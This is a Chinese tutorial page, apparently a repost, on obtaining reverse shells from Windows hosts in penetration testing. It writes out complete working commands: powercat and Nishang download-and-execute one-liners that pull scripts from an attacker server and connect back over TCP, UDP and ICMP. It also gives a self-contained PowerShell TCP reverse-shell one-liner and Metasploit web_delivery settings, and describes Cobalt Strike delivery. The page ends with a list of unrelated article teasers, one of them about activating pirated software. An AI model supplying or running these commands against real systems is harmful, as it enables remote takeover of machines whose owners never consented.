Windows环境下反弹shell各类姿势

news/2025/3/10 15:47:29/文章来源:https://www.cnblogs.com/o-O-oO/p/18653350

在渗透测试过程中我们有时候需要通过Windows平台来反弹shell到我们的VPS主机以及CS端,那么这个过程中我们就需要借助Windows平台内置的可执行程序来执行命令,其中首选的就是powershell,本篇文章我们主要介绍如何通过Windows平台中如何通过powershell来反弹shell操作。

powercat反弹shell

powercat(https://github.com/besimorhino/powercat)是一个PowerShell函数,首先你需要加载这个函数才能执行它,你可以将下面的命令之一放入你的PowerShell配置文件中,这样在PowerShell启动时powercat就会自动加载,下面我们介绍powercat如何进行反弹shell并获取服务器端的权限:

Step 1:在攻击端一侧监听端口

nc -lnvp 4444

Step 2:在攻击端一侧使用python托管一个powershell文件

python2 -m SimpleHTTPServer 1234

Step 3:目标机反弹cmdshell

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd

Step 4:在供给端一侧成功收取到反弹的shell

Reverse TCP shell

Nishang(https://github.com/samratashok/nishang)是一个基于PowerShell的攻击框架,集合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的Reverse shell,下面我们简单的演示一下关于如何使用Nishang来反弹shell的操作:

Step 1:在攻击端一侧监听端口

nc -lnvp 4444

Step 2:在攻击端一侧使用python托管文件

python2 -m SimpleHTTPServer 1234

Step 3:反弹shell操作

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.204.144 -port 4444

Step 4:随后成功反弹shell

Reverse UDP shell

Step 1:在攻击端一侧监听端口

nc -lup 6666

Step 2:在攻击端一侧使用python托管文件

python2 -m SimpleHTTPServer 1234

Step 3:反弹shell操作

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.204.144 -port 6666

Step 4:随后成功反弹shell

Reverse ICMP shell

Step 1:在攻击端一侧使用python托管文件

Step 2:在攻击端下载icmpsh_m.py文件忽略所有的ICMP数据包并开启监听

#格式说明
icmpsh_m.py Usage:
python icmpsh_m.py [Attacker IP] [Victim IP]#执行实例
sysctl -w net.ipv4.icmp_echo_ignore_all=1           #忽略所有icmp包
python2 icmpsh_m.py 192.168.204.144 192.168.204.145     #开启监听

Step 3:反弹shell操作

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.204.144:1234/Invoke-PowerShellIcmp.ps1');Invoke-PowerShellIcmp -IPAddress 192.168.204.144

Step 4:随后成功获取到反弹的shell

备注:如果提示"You need to install Python Impacket library first",则需要通过安装impacket来执行

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install

自定义powershell类

我们可以利用powershell创建一个Net.Sockets.TCPClient对象,通过Socket反弹tcp shell,其实也是借鉴nishang中的Invoke-PowerShellTcpOneLine.ps1,

Step 1:攻击者开启监听

nc -lnvp 4444

Step 2:在受害者主机执行以下命令

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.204.144',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Step 3:成功反弹shell

通过使用MSF反弹shell

我们可以利用metasploit的web_delivery模块并使用python、php、powershell、regsvr32等进行反弹shell:

Step 1:在攻击者一侧进行监听

use exploit/multi/script/web_delivery
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set target 2
set LHOST 192.168.204.144
set LPORT 4444
exploit

Step 2:在受害者主机中执行上述命令

Step 3:随后成功反弹shell

Cobalt strike反弹shell

Cobalt strike的Scripted Web Delivery模块可通过bitsadmin、powershell、python、regsvr32等进行反弹shell,类似metasploit的web_delivery模块

Step 1:运行Cobalt strike并创建一个Listener, 点击"Cobalt Strike->Listeners",然后点击Add便可创建Listeners

Step 2:生成powershell payload,点击"Attack -> Web Drive-by -> Scripted Web Delivery",Type选择powershell

Step 3:随后在目标主机上执行上述命令

Step 4:随后成功收到反弹的shell

原创 Heptagram 七芒星实验室

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/864410.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

集成运算放大器的简单介绍

集成运算放大器是一种具有很高放大倍数的多级直接耦合放大电路。是发展最早、应用最广泛的一种模拟电路。 集成电路是把整个电路的各个元件以及相互之间的连接同时制造在一块半导体芯片上,组成一个不可分点整体。 集成电路的特点:体积小,重量轻、功耗低、可靠性高、成本低、…

利用huggingface尝试的第一个简单的文本分类任务

` 这是一个简单的文本分类任务,基本的流程步骤还是挺清晰完整的,和之前那个简单的cnn差不多, 用到了transformers包,还需用到huggingface的模型rbt3, 但是好像连接不上``遇到的问题: 1.导入的包不可用,从AutoModelForTokenClassification换成了AutoModelForSequenceC…

【嵌入式编程】内存分布

一、内存分布图在操作系统中,内存被组织和管理以支持进程的运行。以下是一些常见的内存分布概念: 【内核空间】:操作系统内核使用的内存区域,用于存储内核代码、数据结构和进程控制块(PCB)。【用户空间】:存储用户的代码。未初始化变量区(.bss):存放未初始化的全局变量…

北京健康证(立水桥地铁站附近)

体检:记得带身份证就可以,最好自带一支笔,用他的笔要排队,我买的是96的,带培训证的。 下面这个表只填:身份证号,手机号,姓名就可以,类别、是否培训以交钱时候前台登记的为准,照片也不采集,直接用身份证上的相片

北京健康证

体检:记得带身份证就可以,我买的是96的,带培训证的。 下面这个表只填:身份证号,手机号,姓名就可以,类别以交钱时候前台登记的为准,照片也不采集,直接用身份证上的相片

anaconda安装与环境配置

一、Anaconda简介 ​ Anaconda 是专门为了方便使用 Python 进行数据科学研究而建立的一组软件包,涵盖了数据科学领域常见的 Python 库,并且自带了专门用来解决软件环境依赖问题的 conda 包管理系统。主要是提供了包管理与环境管理的功能,可以很方便地解决多版本python并存、…

java学习报告

Java学习报告 目录 第一章 初识java与面向对象程序设计 1 第二章 java编程基础 3 第三章 面向对象程序设计(基础) 13 第四章 面向对象程序设计(进阶) 15 第五章 异常 17 第六章 java常用类 1720 初识java与面向对象程序设计Java概述计算机编程语言发展史“计算机之父”冯诺…

PyTorch Geometric框架下图神经网络的可解释性机制:原理、实现与评估

在机器学习领域存在一个普遍的认知误区,即可解释性与准确性存在对立关系。这种观点认为可解释模型在复杂度上存在固有限制,因此无法达到最优性能水平,神经网络之所以能够在各个领域占据主导地位,正是因为其超越了人类可理解的范畴。 其实这种观点存在根本性的谬误。研究表明…

25. K 个一组翻转链表(难)

目录题目法一、模拟--迭代法二、递归 题目给你链表的头节点 head ,每 k 个节点一组进行翻转,请你返回修改后的链表。 k 是一个正整数,它的值小于或等于链表的长度。如果节点总数不是 k 的整数倍,那么请将最后剩余的节点保持原有顺序。 你不能只是单纯的改变节点内部的值,而…

OpenWrt 系统UCI详解(Lua、C语言调用uci接口实例)

1 UCI简介 “uci"是"Unified Configuration Interface”(统一配置界面)的缩写,用于OpenWrt整个系统的配置集中化。 很多后台服务有自己的配置文件,并且配置文件格式都不相同,OpenWrt系统中需要开启各种服务,为了解决配置不兼容的问题,统一采用uci格式的配置文件。…

macbook 双系统win7忘密码 解决办法 通用

1开机出现以下图片按开机键强制重启2选择这一个3跟着选择4等待时间较长5继续678点击计算机9选择c盘10选择Windows进入system32文件夹11右键修改名字 将sethc 修改为sethc112然后键盘上输入cmd13将cmd名字修改为sethc 14关掉所有点击完成 15然后开机来到登录界面 按5次shift 次数…

GoLang 2024 安装激活详细使用教程(激活至2026,实测是永久,亲测!)

开发工具推荐:GoLang 安装激活详细使用教程(激活至2026,实际上永久,亲测!)申明:本教程 GoLang 补丁、激活码均收集于网络,请勿商用,仅供个人学习使用,如有侵权,请联系作者删除。若条件允许,希望大家购买正版 ! GoLang是JetBrains公司推出的一款功能强大的GO语言集成…